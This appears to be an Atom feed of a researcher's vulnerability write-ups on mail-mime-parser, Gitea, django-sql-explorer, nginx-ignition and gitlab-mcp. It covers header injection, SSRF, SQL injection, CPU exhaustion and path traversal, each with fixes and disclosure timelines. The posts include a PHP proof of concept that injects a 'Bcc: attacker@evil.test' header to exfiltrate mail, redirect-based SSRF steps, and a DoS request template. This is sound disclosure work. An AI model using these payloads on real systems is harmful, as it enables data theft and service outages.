<span class="nv">$part</span><span class="o">-&gt;</span><span class="nf">setRawHeader</span><span class="p">(</span><span class="nc">HeaderConsts</span><span class="o">::</span><span class="no">CONTENT_TYPE</span><span class="p">,</span> <span class="s2">"</span><span class="nv">$contentType</span><span class="s2">;</span><span class="se">\r\n\t</span><span class="s2">charset=</span><span class="se">\"</span><span class="nv">$charset</span><span class="se">\"</span><span class="s2">"</span><span class="p">);</span>
</code></pre></div></div>

<p>The signing path has the same shape, with two more raw arguments:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$message</span><span class="o">-&gt;</span><span class="nf">setRawHeader</span><span class="p">(</span><span class="nc">HeaderConsts</span><span class="o">::</span><span class="no">CONTENT_TYPE</span><span class="p">,</span>
    <span class="s2">"multipart/signed;</span><span class="se">\r\n\t</span><span class="s2">boundary=</span><span class="se">\"</span><span class="nv">$boundary</span><span class="se">\"</span><span class="s2">;</span><span class="se">\r\n\t</span><span class="s2">micalg=</span><span class="se">\"</span><span class="nv">$micalg</span><span class="se">\"</span><span class="s2">; protocol=</span><span class="se">\"</span><span class="nv">$protocol</span><span class="se">\"</span><span class="s2">"</span><span class="p">);</span>
</code></pre></div></div>

<p>Only <code class="language-plaintext highlighter-rouge">$safe</code> passes through the filter. A <code class="language-plaintext highlighter-rouge">\r\n</code> inside <code class="language-plaintext highlighter-rouge">$mimeType</code>,
<code class="language-plaintext highlighter-rouge">$charset</code>, <code class="language-plaintext highlighter-rouge">$encoding</code>, <code class="language-plaintext highlighter-rouge">$micalg</code> or <code class="language-plaintext highlighter-rouge">$protocol</code> becomes a real header
break in the serialized output. This is the classic “sanitize the reported
instance, not the sink” gap — the fix cleaned the one value named in the
report rather than the header-write chokepoint, so the same bug remained
one argument over.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Against the then-current <code class="language-plaintext highlighter-rouge">4.0.5</code> (newer than the patched <code class="language-plaintext highlighter-rouge">4.0.2</code>), using only
the public API:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">require</span> <span class="s1">'vendor/autoload.php'</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">ZBateson\MailMimeParser\Message</span><span class="p">;</span>

<span class="c1">// [1] inject through $mimeType</span>
<span class="nv">$m</span> <span class="o">=</span> <span class="nc">Message</span><span class="o">::</span><span class="nf">newInstance</span><span class="p">();</span>
<span class="nv">$m</span><span class="o">-&gt;</span><span class="nf">addAttachmentPart</span><span class="p">(</span>
    <span class="s1">'payload'</span><span class="p">,</span>
    <span class="s2">"application/octet-stream</span><span class="se">\r\n</span><span class="s2">Bcc: attacker@evil.test"</span><span class="p">,</span>  <span class="c1">// $mimeType</span>
    <span class="s1">'safe.txt'</span>
<span class="p">);</span>

<span class="c1">// [2] inject through $charset</span>
<span class="nv">$m</span><span class="o">-&gt;</span><span class="nf">setTextPart</span><span class="p">(</span><span class="s1">'hello'</span><span class="p">,</span> <span class="s2">"utf-8</span><span class="se">\"\r\n</span><span class="s2">Bcc: attacker@evil.test"</span><span class="p">);</span>
</code></pre></div></div>

<p>The attachment part from case [1] serializes with the forged line spliced in
between the legitimate headers:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Transfer-Encoding: base64
Content-Type: application/octet-stream
Bcc: attacker@evil.test;
	name="safe.txt"
Content-Disposition: attachment;
	filename="safe.txt"
</code></pre></div></div>

<p>A clean value serializes with no injected line, and the <em>filename</em> argument —
the one the earlier fix addressed — is correctly sanitized, confirming this
is a genuine remaining gap in the same fix rather than a regression.</p>

<h2 id="impact">Impact</h2>

<p>Identical to the parent advisory, which scoped it as any application using the
library to build or forward MIME messages with an attacker-influenced value.
These arguments are routinely attacker-influenced in practice: an
attachment’s MIME type is very often taken from an uploaded file’s
browser-supplied <code class="language-plaintext highlighter-rouge">Content-Type</code>, and <code class="language-plaintext highlighter-rouge">$charset</code> / <code class="language-plaintext highlighter-rouge">$encoding</code> can be driven by
user input just as easily. A crafted value injects arbitrary MIME headers — a
forged <code class="language-plaintext highlighter-rouge">Bcc:</code> that silently exfiltrates the outgoing message, header
smuggling, or MIME-structure confusion — with no privileges and no user
interaction. CVSS 3.1 <code class="language-plaintext highlighter-rouge">AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N</code> = 7.2 (High).</p>

<h2 id="the-fix">The fix</h2>

<p>Versions <strong>3.0.9</strong> and <strong>4.0.6</strong> replace control characters with spaces in
<em>all</em> of the affected arguments before the header is built, matching the
treatment already applied to the filename — moving the neutralization to
cover every caller-supplied value that reaches those raw header lines.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li>2026-09-28 — Reported to the maintainer (private advisory)</li>
  <li>2026-09-28 — Fixed in 3.0.9 and 4.0.6</li>
  <li>2026-09-28 — Advisory GHSA-gmgm-r6fh-fq6g published</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>Public advisory:
<a href="https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-gmgm-r6fh-fq6g">GHSA-gmgm-r6fh-fq6g</a>.
Parent issue: <a href="https://github.com/advisories/GHSA-36h5-qg4p-q2qf">CVE-2026-61815 / GHSA-36h5-qg4p-q2qf</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">Gitea: The Migration SSRF Guard That Did Nothing</title><link href="https://kearikan.com/writeups/gitea-migration-redirect-ssrf-noop-guard/" rel="alternate" type="text/html" title="Gitea: The Migration SSRF Guard That Did Nothing" /><published>2026-09-28T00:00:00+00:00</published><updated>2026-09-28T00:00:00+00:00</updated><id>https://kearikan.com/writeups/gitea-migration-redirect-ssrf-noop-guard</id><content type="html" xml:base="https://kearikan.com/writeups/gitea-migration-redirect-ssrf-noop-guard/"><![CDATA[<h2 id="summary">Summary</h2>

<p><code class="language-plaintext highlighter-rouge">CVE-2026-57894</code> (<code class="language-plaintext highlighter-rouge">GHSA-82f7-87hm-852x</code>) is a server-side request forgery
in Gitea’s repository migration and pull-mirror feature. Gitea validates the
<strong>initial</strong> URL of a migration against its allow/block-list policy, but the
actual data transfer is delegated to the <code class="language-plaintext highlighter-rouge">git</code> CLI — which follows the first
HTTP redirect by default. A URL that passes the policy can <code class="language-plaintext highlighter-rouge">301</code>/<code class="language-plaintext highlighter-rouge">302</code> to a
host the policy explicitly blocks, and Gitea imports whatever that second
host serves.</p>

<p>The advisory was marked patched in <code class="language-plaintext highlighter-rouge">1.27.0</code>. It wasn’t. The function that is
supposed to disable redirect-following was present, wired into every relevant
call site, and completely empty — its body was a block of commented-out code
ending in a <code class="language-plaintext highlighter-rouge">FIXME</code>. The bug remained reachable, byte-for-byte, through the
then-latest tagged release <code class="language-plaintext highlighter-rouge">v1.27.3</code> and <code class="language-plaintext highlighter-rouge">main</code>, until a proper fix landed in
late September 2026.</p>

<h2 id="background">Background</h2>

<p>Gitea lets a user migrate an external repository by URL, and lets it keep a
repository in sync as a scheduled <em>pull mirror</em>. Because the server itself
fetches the URL, both features are classic SSRF surfaces, so Gitea gates them
behind a policy: <code class="language-plaintext highlighter-rouge">services/migrations/migrate.go</code>’s <code class="language-plaintext highlighter-rouge">IsMigrateURLAllowed</code>
resolves the submitted host and rejects anything on <code class="language-plaintext highlighter-rouge">BLOCKED_DOMAINS</code>, or
anything in a private/loopback range when <code class="language-plaintext highlighter-rouge">ALLOW_LOCALNETWORKS = false</code>.</p>

<p>The catch is that <code class="language-plaintext highlighter-rouge">IsMigrateURLAllowed</code> only ever sees the host the user
<strong>submitted</strong>. The bytes are actually pulled by <code class="language-plaintext highlighter-rouge">git</code>, invoked as a
subprocess, and <code class="language-plaintext highlighter-rouge">git</code> follows HTTP redirects on its own. So the interesting
question is whether Gitea disables that redirect-following. It has a function
for exactly that purpose.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>The redirect guard lives in <code class="language-plaintext highlighter-rouge">modules/git/redirection.go</code>:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">// modules/git/redirection.go</span>
<span class="k">func</span> <span class="n">HandleGitCmdHTTPRedirection</span><span class="p">(</span><span class="n">cmd</span> <span class="o">*</span><span class="n">gitcmd</span><span class="o">.</span><span class="n">Command</span><span class="p">,</span> <span class="n">targets</span> <span class="o">...</span><span class="kt">string</span><span class="p">)</span> <span class="p">{</span>
	<span class="c">// Protect from SSRF vector (e.g. migrating from an attacker URL).</span>
	<span class="c">// cmd.AddConfig("http.followRedirects", "false")</span>
	<span class="c">// However, we can't do so at the moment:</span>
	<span class="c">// this fails due to 301: git -c http.followRedirects=false clone -v https://gitlab.com/{owner}/{repo}</span>
	<span class="c">// this succeeds:         git -c http.followRedirects=false clone -v https://gitlab.com/{owner}/{repo}.git</span>
	<span class="c">// FIXME: GIT-CLONE-HTTP-REDIRECT-SSRF: need a complete solution in the future</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The whole body is commented out. It is called from exactly the places you’d
expect — <code class="language-plaintext highlighter-rouge">modules/git/repo.go</code> for the clone, and three times in
<code class="language-plaintext highlighter-rouge">services/mirror/mirror_pull.go</code> for scheduled pull-mirror fetches — so the
hook point is correct. There is simply no protection behind it. The intended
<code class="language-plaintext highlighter-rouge">git -c http.followRedirects=false</code> was disabled because it broke the very
common <code class="language-plaintext highlighter-rouge">https://host/owner/repo</code> → <code class="language-plaintext highlighter-rouge">https://host/owner/repo.git</code> redirect, and
nothing was put in its place.</p>

<p>That leaves the two halves of the check disconnected:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">IsMigrateURLAllowed</code> validates the <strong>submitted</strong> host, up front.</li>
  <li><code class="language-plaintext highlighter-rouge">git</code> performs the transfer and follows the <strong>first redirect</strong> to wherever it
points — a host that was never re-validated against the policy.</li>
</ul>

<p>Checking the released code confirmed this was the shipping state, not an
unreleased regression: <code class="language-plaintext highlighter-rouge">git show v1.27.3:modules/git/redirection.go</code> returned
the same empty function, byte for byte.</p>

<h2 id="impact">Impact</h2>

<p>Any authenticated user who can create a migration or a pull mirror — the
default for an ordinary account on an instance with open registration — can
point Gitea at an attacker-controlled endpoint that <code class="language-plaintext highlighter-rouge">301</code>-redirects to an
internal or explicitly blocked Git-over-HTTP host, and have the server fetch
and import that repository’s contents.</p>

<p>The exploitation shape is straightforward:</p>

<ol>
  <li>An administrator blocks an internal host (via <code class="language-plaintext highlighter-rouge">BLOCKED_DOMAINS</code>, or simply
by leaving <code class="language-plaintext highlighter-rouge">ALLOW_LOCALNETWORKS = false</code>). A direct migration from that host
is correctly rejected — <code class="language-plaintext highlighter-rouge">422 You can not import from disallowed hosts.</code></li>
  <li>The attacker stands up an ordinary public endpoint that answers every
request with a <code class="language-plaintext highlighter-rouge">301</code> redirect to the blocked host’s <code class="language-plaintext highlighter-rouge">.git</code> endpoint.</li>
  <li>The attacker migrates from that public redirector. It passes the policy
check, <code class="language-plaintext highlighter-rouge">git</code> follows the redirect, and the migration succeeds — <code class="language-plaintext highlighter-rouge">201 Created</code>.</li>
  <li>The blocked repository’s contents now sit, byte-for-byte (identical blob
SHAs), inside the attacker’s own repository, readable through the normal API.</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N</code> — <strong>High</strong>, matching the original
advisory. Pull mirrors make it persistent: a scheduled <code class="language-plaintext highlighter-rouge">git fetch</code> keeps
following the same redirect, so new commits on the target keep flowing to the
attacker over time. The reachable set is anything the <em>server</em> can talk to —
internal Git services, cloud metadata endpoints exposing a Git-over-HTTP
surface, or any host an admin deliberately put on the block-list.</p>

<h2 id="the-fix">The fix</h2>

<p>A blanket <code class="language-plaintext highlighter-rouge">http.followRedirects=false</code> was never viable, because it breaks the
legitimate <code class="language-plaintext highlighter-rouge">.git</code>-suffix redirect that many Git hosts issue. The complete fix
took a different route: <strong>PR #39426, <code class="language-plaintext highlighter-rouge">fix(git)!: use internal proxy for all git
operations</code></strong> (merged 2026-09-29), routes every git operation through an
internal proxy so that each hop can be validated, closing both the
redirect-following gap and the related DNS-rebinding hole where the host that
passes validation differs from the host that is finally connected to.</p>

<p>For instances that cannot yet take that release, the advisory was updated with
mitigation guidance (fronting git’s outbound traffic with a proxy that enforces
the host policy). If you run Gitea and allow non-admins to create migrations or
pull mirrors, update to a release containing #39426, or apply the proxy
mitigation in the meantime.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li>2026-07-13 — <code class="language-plaintext highlighter-rouge">CVE-2026-57894</code> / <code class="language-plaintext highlighter-rouge">GHSA-82f7-87hm-852x</code> published, marked patched in <code class="language-plaintext highlighter-rouge">1.27.0</code>.</li>
  <li>2026-09-12 — Reported to Gitea that the <code class="language-plaintext highlighter-rouge">1.27.0</code> fix was incomplete: <code class="language-plaintext highlighter-rouge">HandleGitCmdHTTPRedirection</code> is an empty no-op and the SSRF is still reproducible through <code class="language-plaintext highlighter-rouge">v1.27.3</code> and <code class="language-plaintext highlighter-rouge">main</code>.</li>
  <li>2026-09-28 — Advisory updated with mitigation guidance for older versions; issue confirmed as actively tracked.</li>
  <li>2026-09-29 — Proper fix merged (#39426, internal proxy for all git operations).</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>Public advisory: <a href="https://github.com/go-gitea/gitea/security/advisories/GHSA-82f7-87hm-852x">GHSA-82f7-87hm-852x</a>
(<code class="language-plaintext highlighter-rouge">CVE-2026-57894</code>). Fix: <a href="https://github.com/go-gitea/gitea/pull/39426">go-gitea/gitea#39426</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">Unauthenticated SQL Injection in django-sql-explorer’s AI Assistant Endpoint</title><link href="https://kearikan.com/writeups/django-sql-explorer-unauthenticated-sqli/" rel="alternate" type="text/html" title="Unauthenticated SQL Injection in django-sql-explorer’s AI Assistant Endpoint" /><published>2026-09-25T00:00:00+00:00</published><updated>2026-09-25T00:00:00+00:00</updated><id>https://kearikan.com/writeups/django-sql-explorer-unauthenticated-sqli</id><content type="html" xml:base="https://kearikan.com/writeups/django-sql-explorer-unauthenticated-sqli/"><![CDATA[<h2 id="summary">Summary</h2>

<p>django-sql-explorer is a Django app that lets authorized users run and
save SQL queries against configured database connections through a web
UI. A newer feature, the AI Assistant, adds a chat-style helper that
samples table contents to answer questions about the schema. Its two
endpoints shipped with no permission check at all — reachable by anyone
who could reach the application, logged in or not — and one of them built
its sampling query by dropping a client-supplied table name straight into
a SQL string. Put those two together and an unauthenticated request could
run arbitrary SQL against any database connection Explorer had configured,
including the Django application’s own database if it was registered as
one.</p>

<h2 id="background">Background</h2>

<p>Every other view in the same module that touches table metadata —
<code class="language-plaintext highlighter-rouge">TableDescriptionUpdateView</code>, <code class="language-plaintext highlighter-rouge">TableDescriptionCheckView</code>, and their
siblings — is gated behind <code class="language-plaintext highlighter-rouge">PermissionRequiredMixin</code>, checking either
<code class="language-plaintext highlighter-rouge">view_permission</code> or <code class="language-plaintext highlighter-rouge">change_permission</code> depending on what it does. The
Assistant views, <code class="language-plaintext highlighter-rouge">AssistantHelpView</code> and <code class="language-plaintext highlighter-rouge">AssistantHistoryApiView</code>, are
just plain Django <code class="language-plaintext highlighter-rouge">View</code> subclasses, with nothing checking who’s calling
them.</p>

<p>They’re also registered unconditionally: even an installation that never
configured <code class="language-plaintext highlighter-rouge">EXPLORER_AI_API_KEY</code> (i.e., never intended to turn the
Assistant feature on) still exposes these routes.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p><code class="language-plaintext highlighter-rouge">POST &lt;explorer-root&gt;/assistant/</code> accepts a <code class="language-plaintext highlighter-rouge">selected_tables</code> field
listing which tables the assistant should sample. The sampling code takes
each name from that field and interpolates it directly:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">"SELECT * FROM </span><span class="si">{</span><span class="n">table_name</span><span class="si">}</span><span class="s"> LIMIT 3"</span><span class="p">)</span>
</code></pre></div></div>

<p>No permission check happens before this runs, and no validation or
quoting happens to <code class="language-plaintext highlighter-rouge">table_name</code> before it lands in the query string. Since
<code class="language-plaintext highlighter-rouge">selected_tables</code> is entirely attacker-controlled request body, and
nothing checks the caller is even logged in, this is unauthenticated,
unauthenticated-user-controlled SQL — not just a limited “which tables can
I list” issue.</p>

<p><code class="language-plaintext highlighter-rouge">POST &lt;explorer-root&gt;/assistant/history/</code> has the same missing permission
check, giving unauthenticated access to Assistant history regardless of
the SQL injection.</p>

<h2 id="impact">Impact</h2>

<p>Depending on the database backend and the privileges of the connection’s
configured user, an unauthenticated attacker can read, modify, or delete
data through any connection Explorer has registered — including the
Django project’s own primary database in installations that expose it
through Explorer, which is a supported and common configuration.</p>

<h2 id="fix">Fix</h2>

<p>Fixed in <strong>5.3.1</strong>. The Assistant endpoints now require
<code class="language-plaintext highlighter-rouge">EXPLORER_PERMISSION_CHANGE</code>, and table sampling only considers tables
actually present in the connection’s introspected schema (respecting the
<code class="language-plaintext highlighter-rouge">EXPLORER_SCHEMA_INCLUDE_TABLE_PREFIXES</code> / <code class="language-plaintext highlighter-rouge">EXPLORER_SCHEMA_EXCLUDE_TABLE_PREFIXES</code>
settings), with the table name quoted as an identifier rather than
interpolated raw.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install --upgrade 'django-sql-explorer&gt;=5.3.1'
</code></pre></div></div>

<p>If you can’t upgrade immediately, block requests to the <code class="language-plaintext highlighter-rouge">assistant/</code> and
<code class="language-plaintext highlighter-rouge">assistant/history/</code> paths under your Explorer URL prefix at your reverse
proxy — leaving <code class="language-plaintext highlighter-rouge">EXPLORER_AI_API_KEY</code> unset does <strong>not</strong> mitigate this,
since the endpoints are registered regardless.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li><strong>2026-09-10</strong> — Reported to the maintainer.</li>
  <li><strong>2026-09-25</strong> — Maintainer replied, fixed and released <strong>5.3.1</strong> the
same day.</li>
  <li><strong>2026-09-25</strong> — Advisory published as <code class="language-plaintext highlighter-rouge">GHSA-cj2v-7pv9-p63r</code>, Critical
(CVSS 3.1 <code class="language-plaintext highlighter-rouge">AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code> = 9.8).</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>Full advisory: <a href="https://github.com/explorerhq/sql-explorer/security/advisories/GHSA-cj2v-7pv9-p63r">GHSA-cj2v-7pv9-p63r</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">Accept-Language CPU Exhaustion: The Gap Left by nginx-ignition’s Previous DoS Fix</title><link href="https://kearikan.com/writeups/nginx-ignition-accept-language-dos/" rel="alternate" type="text/html" title="Accept-Language CPU Exhaustion: The Gap Left by nginx-ignition’s Previous DoS Fix" /><published>2026-09-24T00:00:00+00:00</published><updated>2026-09-24T00:00:00+00:00</updated><id>https://kearikan.com/writeups/nginx-ignition-accept-language-dos</id><content type="html" xml:base="https://kearikan.com/writeups/nginx-ignition-accept-language-dos/"><![CDATA[<h2 id="summary">Summary</h2>

<p>nginx-ignition ships a small i18n middleware that reads the
<code class="language-plaintext highlighter-rouge">Accept-Language</code> header on every request and picks the first language it
supports. An earlier advisory (GHSA-jr34-h97m-9hpx) showed that header
could be abused for a quadratic-cost CPU attack, and the maintainer added a
guard against it. That guard counts the wrong thing: it bounds the number
of <code class="language-plaintext highlighter-rouge">-</code>/<code class="language-plaintext highlighter-rouge">_</code> characters in the header, not the number of comma-separated
language tags or the header’s total length. A header built from many
short, valid-but-unsupported tags sails straight past it and still costs
50x more CPU than the same number of bytes the server doesn’t parse.</p>

<h2 id="background">Background</h2>

<p>The middleware runs on every single request, unauthenticated, before
routing even happens:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">const</span> <span class="n">maximumLanguageTags</span> <span class="o">=</span> <span class="m">10</span>

<span class="k">func</span> <span class="n">i18nMiddleware</span><span class="p">(</span><span class="n">commands</span> <span class="n">i18n</span><span class="o">.</span><span class="n">Commands</span><span class="p">)</span> <span class="n">gin</span><span class="o">.</span><span class="n">HandlerFunc</span> <span class="p">{</span>
	<span class="k">return</span> <span class="k">func</span><span class="p">(</span><span class="n">ginCtx</span> <span class="o">*</span><span class="n">gin</span><span class="o">.</span><span class="n">Context</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">lang</span> <span class="o">:=</span> <span class="n">commands</span><span class="o">.</span><span class="n">DefaultLanguage</span><span class="p">()</span>

		<span class="n">langHeader</span> <span class="o">:=</span> <span class="n">ginCtx</span><span class="o">.</span><span class="n">GetHeader</span><span class="p">(</span><span class="s">"Accept-Language"</span><span class="p">)</span>
		<span class="k">if</span> <span class="n">strings</span><span class="o">.</span><span class="n">Count</span><span class="p">(</span><span class="n">langHeader</span><span class="p">,</span> <span class="s">"-"</span><span class="p">)</span><span class="o">+</span><span class="n">strings</span><span class="o">.</span><span class="n">Count</span><span class="p">(</span><span class="n">langHeader</span><span class="p">,</span> <span class="s">"_"</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">maximumLanguageTags</span> <span class="p">{</span>
			<span class="n">langHeader</span> <span class="o">=</span> <span class="s">""</span>
		<span class="p">}</span>

		<span class="n">tags</span><span class="p">,</span> <span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">language</span><span class="o">.</span><span class="n">ParseAcceptLanguage</span><span class="p">(</span><span class="n">langHeader</span><span class="p">)</span>
		<span class="k">if</span> <span class="n">err</span> <span class="o">==</span> <span class="no">nil</span> <span class="o">&amp;&amp;</span> <span class="nb">len</span><span class="p">(</span><span class="n">tags</span><span class="p">)</span> <span class="o">&gt;</span> <span class="m">0</span> <span class="p">{</span>
			<span class="k">for</span> <span class="n">_</span><span class="p">,</span> <span class="n">tag</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">tags</span> <span class="p">{</span>
				<span class="k">if</span> <span class="n">commands</span><span class="o">.</span><span class="n">Supports</span><span class="p">(</span><span class="n">tag</span><span class="p">)</span> <span class="p">{</span>
					<span class="n">lang</span> <span class="o">=</span> <span class="n">tag</span>
					<span class="k">break</span>
				<span class="p">}</span>
			<span class="p">}</span>
		<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">maximumLanguageTags</code> check was added specifically to close the prior
advisory’s exploit path — it assumes counting separator characters is a
good enough proxy for how expensive the header will be to process.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>It isn’t, for two reasons:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">golang.org/x/text</code>’s <code class="language-plaintext highlighter-rouge">ParseAcceptLanguage</code> splits the input on <code class="language-plaintext highlighter-rouge">,</code>
<em>before</em> it ever looks at hyphens or underscores. A header made of
thousands of comma-separated two-letter tags (<code class="language-plaintext highlighter-rouge">aa,aa,aa,...</code>) can have
a hyphen/underscore count of exactly zero and still contain hundreds of
thousands of tags.</li>
  <li>When a tag parses successfully but doesn’t match any language the
server actually supports, the middleware’s loop never breaks early — it
calls <code class="language-plaintext highlighter-rouge">commands.Supports(tag)</code> for <em>every</em> tag, and each of those calls
scans all 11 supported-language dictionaries.</li>
</ol>

<p>So a 1 MB header of <code class="language-plaintext highlighter-rouge">aa,</code> repeated has a separator count of zero (no
hyphens, no underscores — the guard never fires), parses as ~333,000
valid-but-unsupported tags, and makes the middleware do a full
11-dictionary scan for every single one of them before giving up and
falling back to the default language.</p>

<p>Measured against the official <code class="language-plaintext highlighter-rouge">2.45.1</code> release binary, that header costs
<strong>306 ms of server CPU per request</strong> — versus <strong>6 ms</strong> for the same 1 MB
sent in a header nobody parses. A single connection sustaining that
traffic at 32.5 Mbit/s keeps <strong>1.28 CPU cores</strong> busy on the server the
entire time.</p>

<h2 id="reachable-path">Reachable path</h2>

<p>No credentials, no session, no valid application state — a single HTTP
request to any path (the middleware is global, so the target endpoint
doesn’t even need to exist):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /api/i18n HTTP/1.1
Host: target
Accept-Language: aa,aa,aa,... (1 MB)
</code></pre></div></div>

<h2 id="impact">Impact</h2>

<p>Unauthenticated, bandwidth-bounded CPU exhaustion against the
nginx-ignition API listener. One attacker connection uploading roughly
32.5 Mbit/s of <code class="language-plaintext highlighter-rouge">Accept-Language</code> header keeps more than one CPU core busy
on the server; two such connections saturate a two-vCPU host, three or
four saturate a four-core one — and since nginx-ignition typically shares
the box with the nginx instance it manages, that instance’s availability
degrades along with it. Confidentiality and integrity are unaffected —
this is purely an availability issue.</p>

<h2 id="suggested-fix">Suggested fix</h2>

<p>Bound the two quantities the existing guard leaves open, before the header
ever reaches the parser:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">const</span> <span class="p">(</span>
	<span class="n">maximumLanguageTags</span> <span class="o">=</span> <span class="m">10</span>   <span class="c">// existing: separator cap</span>
	<span class="n">maximumHeaderBytes</span>  <span class="o">=</span> <span class="m">128</span>  <span class="c">// new: real Accept-Language values are tiny</span>
<span class="p">)</span>

<span class="n">langHeader</span> <span class="o">:=</span> <span class="n">ginCtx</span><span class="o">.</span><span class="n">GetHeader</span><span class="p">(</span><span class="s">"Accept-Language"</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">langHeader</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">maximumHeaderBytes</span> <span class="o">||</span>
	<span class="n">strings</span><span class="o">.</span><span class="n">Count</span><span class="p">(</span><span class="n">langHeader</span><span class="p">,</span> <span class="s">"-"</span><span class="p">)</span><span class="o">+</span><span class="n">strings</span><span class="o">.</span><span class="n">Count</span><span class="p">(</span><span class="n">langHeader</span><span class="p">,</span> <span class="s">"_"</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">maximumLanguageTags</span> <span class="o">||</span>
	<span class="n">strings</span><span class="o">.</span><span class="n">Count</span><span class="p">(</span><span class="n">langHeader</span><span class="p">,</span> <span class="s">","</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">maximumLanguageTags</span> <span class="p">{</span>
	<span class="n">langHeader</span> <span class="o">=</span> <span class="s">""</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The middleware only ever needs the <em>first</em> tag it supports, so anything
past a handful of bytes is already more than a legitimate client would
ever send.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li><strong>2026-09-23</strong> — Reported via GitHub’s private security-advisory
reporting.</li>
  <li><strong>2026-09-23/24</strong> — Fixed same day, shipped in <strong>2.45.2</strong>.</li>
  <li><strong>2026-09-24</strong> — Advisory published as <code class="language-plaintext highlighter-rouge">GHSA-969c-hr69-6q97</code>, High (CVSS
3.1 <code class="language-plaintext highlighter-rouge">AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</code> = 7.5).</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>Full advisory: <a href="https://github.com/lucasdillmann/nginx-ignition/security/advisories/GHSA-969c-hr69-6q97">GHSA-969c-hr69-6q97</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">encodeGitLabPath Never Blocks ../: Path Traversal to Arbitrary GitLab API Endpoints</title><link href="https://kearikan.com/writeups/gitlab-mcp-encodegitlabpath-traversal/" rel="alternate" type="text/html" title="encodeGitLabPath Never Blocks ../: Path Traversal to Arbitrary GitLab API Endpoints" /><published>2026-09-23T00:00:00+00:00</published><updated>2026-09-23T00:00:00+00:00</updated><id>https://kearikan.com/writeups/gitlab-mcp-encodegitlabpath-traversal</id><content type="html" xml:base="https://kearikan.com/writeups/gitlab-mcp-encodegitlabpath-traversal/"><![CDATA[<h2 id="summary">Summary</h2>

<p><code class="language-plaintext highlighter-rouge">zereight/gitlab-mcp</code> is an MCP server that lets an LLM client call GitLab’s
API on an operator’s behalf — list projects, download release assets, pull
job artifacts, and so on, using a token configured on the server side. Two
of its tools, <code class="language-plaintext highlighter-rouge">download_release_asset</code> and <code class="language-plaintext highlighter-rouge">get_job_artifact_file</code>, plus two
HTTP download-proxy routes, build a GitLab API URL by splicing in a
caller-supplied path. A previous advisory against this exact code
(GHSA-4rm9-rfp2-j39q) already found that the raw path could escape its
intended prefix via <code class="language-plaintext highlighter-rouge">../</code> segments, and the maintainer shipped a fix:
a helper called <code class="language-plaintext highlighter-rouge">encodeGitLabPath</code> that “encodes” the path before use.</p>

<p>The fix doesn’t work. <code class="language-plaintext highlighter-rouge">encodeGitLabPath</code> never touches a <code class="language-plaintext highlighter-rouge">..</code> segment,
so the traversal it was written to stop is still live — in the exact
function it patched, plus three more call sites that share the same
helper.</p>

<h2 id="background">Background</h2>

<p><code class="language-plaintext highlighter-rouge">encodeGitLabPath</code> and <code class="language-plaintext highlighter-rouge">encodeGitLabPathSegment</code> exist to safely handle a
path that legitimately contains <code class="language-plaintext highlighter-rouge">/</code>-separated segments (a nested file
path inside a release or artifact) without turning every <code class="language-plaintext highlighter-rouge">/</code> into <code class="language-plaintext highlighter-rouge">%2F</code>,
which would break normal multi-segment paths:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">encodeGitLabPathSegment</span><span class="p">(</span><span class="nx">value</span><span class="p">:</span> <span class="kr">string</span><span class="p">):</span> <span class="kr">string</span> <span class="p">{</span>
